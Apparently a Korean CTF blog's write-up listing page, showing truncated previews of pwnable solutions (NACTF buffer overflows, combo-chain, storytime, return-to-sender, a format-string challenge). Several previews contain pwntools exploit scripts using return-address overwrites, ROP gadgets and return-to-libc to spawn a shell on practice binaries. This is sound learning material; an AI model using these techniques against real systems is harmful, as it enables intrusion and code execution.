일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 | 31 |
- 이분 탐색
- heap
- 에라토스테네스의 체
- OOB
- 투 포인터
- 스위핑 알고리즘
- BFS
- DFS
- off by one
- 스택
- 큐
- 문자열 처리
- ROP
- 이진트리
- 이진 탐색
- House of Orange
- RTL
- 수학
- fsb
- 백트래킹
- 브루트 포스
- BOF
- tcache
- 분할 정복
- 동적 계획법
- 연결리스트
- syscall
- 다이나믹 프로그래밍
- 포맷스트링버그
- 완전 탐색
- Today
- Total
목록write-up (80)
SDJ( 수돈재 아님 ㅎ )

32bit 바이너리에 Partial RELRO만 걸려있다. 이번에는 win()함수에 인자 2개가 추가 되었다. __int64 al와 int a2인데 __int64 는 8byte이고 int는 4byte라고 알고있기 때문에 자료형에 맞게 인자를 보내줘야 겠다. 그리고 vuln()함수에서 bof가 발생하는데 이번에는 ret를 win으로 덮기만해서는 안되고 위에있는 인자를 덮어줘야할 필요가 있다. 따라서 RTL을 통해 win()함수를 실행 시키면 flag를 얻을 수 있다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * #p = process('./bufover-2') p = remote("shell.2..

32bit 바이너리에 Partial RELRO만 걸려있다 flag를 읽어주는 win()함수가 있다. vuln()함수에서 gets(&s);에서 BOF가 발생하므로 역시 ret를 win()함수의 주소로 덮어주면 된다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * #p = process('./bufover-1') p = remote("shell.2019.nactf.com",31462) win = 0x080491B2 pay = '' pay += 'a'*0x18 pay += p32(0) pay += p32(win) p.sendlineafter(">", pay) p.interactive() BufferOverflow #0과 똑같은 문제인 듯 하다..

32비트 바이너리에 partial RELRO만 걸려있다. 바이너리 안에 flag를 읽어주는 win()함수가 있다. 그리고 vuln()함수에서 BOF가 발생하므로 ret를 win()의 주소로 덮어주면 된다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * #p = process('./bufover-0') p = remote("shell.2019.nactf.com",31475) win = 0x080491C2 pay = 'a'*0x18 pay += 'b'*4 pay += p32(win) p.sendline(pay) p.interactive() 아주 기초적인 BOF문제. flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}

64bit 바이너리에 NX만 활성화 되어있다. 가장먼저 main()함수에서 bof취약점이 존재한다. 그리고 bof가 일어나는 함수 climax()를 준다. 따라서 익스플로잇 과정은 다음과 같다. 1. ret에 read_leave_ret을 넣어 bss로 돌린다. 2. ROP를 통해 가젯들과 주소를 구한다. 3. RTL로 쉘을 딴다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import * p = process("./storytime") write_plt =..

64bit 바이너리에 NX만 활성화 되어있다. Lite와 달리 system의 주소는 주어지지 않고 /bin/sh문자열만 존재한다. 이때 gets(&v1);에서 bof가 발생하므로 ROP를 통해 system주소를 구하고 쉘을 따면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * p = process('./combo-chain') bin_sh = 0x0000000000402008 + len('Dude you hear about that new game called ') gets_leave_ret = ..

64bit 바이너리에 NX만 활성화 되어있다. Lite문제는 system의 주소를 주고 문자열 끝에 "/bin/sh"도 준다. 따라서 RTL로 쉘을 따면 되겠다. 64bit는 rdi, rsi, rdx순으로 인자를 받으므로 pop_rdi 가젯을 찾아 /bin/sh를 넣고 system 함수를 호출하면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * p = process('./combo-chain-lite') pop_rdi = 0x401273 p.recvuntil("computer: ") libc_system = int(p.recvuntil('\n').strip(), 16) print "libc_system : " + he..

32bit 바이너리에 아주 간단한 bof문제이다. vuln()함수에서 gets(&s); 에서 bof가 발생한다. 게다가 system("/bin/sh");도 주어줬으므로 ret에 win()함수를 넣어주면 되겠다. 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = process('./return-to-sender') win = 0x080491B6 pay = '' pay += 'a'*0x10 pay += 'bbbb' pay += p64(win) p.sendlineafter("today? ", pay) p.interactive()

ctf는 진작 끝났지만.. pwn을 좋아하기 때문에 따로 가입을 해서 풀어 보았다. 먼저 main을 보면 처음 노란 줄에서 s에 0x40만큼 입력을 받고 두 번째 노란 줄에서 출력을 해준다. 이때 format-string-bug( fsb )가 일어나 메모리의 leak이 가능하게 된다. 다음 secret() 함수를 봐보자 이때 두번째 노란 줄 gets(&s1); 에서 bof가 일어나서 ret을 조작할 수 있게 된다. 따라서 익스플로잇 과정은 다음과 같다. 1. fsb로 PIE_base, libc_base, canary를 leak 한다. 2. one_gadget을 구해 ret에 덮는다. (하지만 one_gadget이 전부 작동하지 않았다.) 2. libc_base와 PIE_base를 기반으로 system과 ..